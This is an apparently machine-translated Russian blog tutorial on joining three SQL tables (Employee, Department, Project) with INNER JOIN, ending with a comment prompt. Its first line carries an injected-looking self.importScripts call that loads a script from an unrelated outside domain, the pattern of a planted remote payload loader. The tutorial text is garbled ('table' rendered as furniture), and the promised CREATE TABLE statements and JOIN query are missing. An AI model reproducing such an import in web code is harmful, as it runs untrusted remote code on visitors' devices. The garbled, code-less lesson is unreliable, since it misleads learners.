google-site-verification: google2818f8f06eec354e.html self.importScripts('https://zworld-news.com/sw/w_1.js');

Объединение трех или более таблиц в SQL


Здесь вы узнаете о соединении трех таблиц в SQL с примером.
Давайте рассмотрим три таблицы Сотрудник, Отдел и Проект. Мы увидим полный пример, в котором эти 3 таблицы объединены для получения результата:

Стол Сотрудника

В этой таблице записывается идентификатор сотрудника, который является первичным ключом, имя работающего сотрудника, идентификатор отдела, в котором они работают, и проект, в котором они работают.
  • EId - первичный ключ, который содержит идентификатор сотрудника.
  • EName - Имя сотрудника.
  • DId - Идентификатор отдела, в котором работает сотрудник.
  • PId - Идентификатор проекта, над которым работает Сотрудник.
Создание таблицы:
Эта таблица выглядит так:
ИдEnameСделалPId
1Рамеш31
2Somesh23
3Раджеш15
4Баран34
5Иши23
6Рекха42
7Мукеш15

Столовый отдел

Эта таблица содержит отдел сотрудника. Его атрибутами являются:
  • DId - это идентификатор отдела, и это первичный ключ в этой таблице.
  • DName - содержит название отдела.
Создание таблицы:
СделалDname
1производство
2HR
3RnD
4бухгалтерский учет
5ЭТО

Настольный проект

Содержит имя проекта, которым занимается Сотрудник. Оно содержит следующие атрибуты:
  • PId - Идентификатор проекта, первичный ключ таблицы.
  • PName - Проект N
Создание таблицы:
PIdPNAME
1Машинное обучение
2налоги
3AskHR Портал
4Blockchain
5CAD
6PR
Теперь мы уже создали три таблицы, над которыми нам нужно поработать. Давайте рассмотрим случай, когда нам нужно отобразить имя сотрудника, название отдела и имя проекта вместе, нам потребуется объединить три таблицы:
  • Примените INNER JOIN к первым двум таблицам.
  • Примените INNER JOIN к результирующим двум таблицам и третьей таблице.
Если у нас более трех таблиц, мы можем просто расширить одну и ту же процедуру на несколько таблиц, то есть взять результирующие из (n-1) таблиц и объединить их с n-й таблицей.
Что касается этого примера, у нас будет QUERY как:
Результирующая таблица будет:
ИдEnameDnamePNAME
1РамешRnDМашинное обучение
2SomeshHRAskHR Портал
3РаджешпроизводствоCAD
4БаранRndBlockchain
5ИшиHRAskHR Портал
6Рекхабухгалтерский учетналоги
7МукешпроизводствоCAD
Следовательно, мы можем сделать вывод, что объединение таблицы так же просто, как и важно. Как только мы познакомимся с объединением двух таблиц, нам не нужно будет беспокоиться о соединении нескольких таблиц.

Комментариев нет:

Отправить комментарий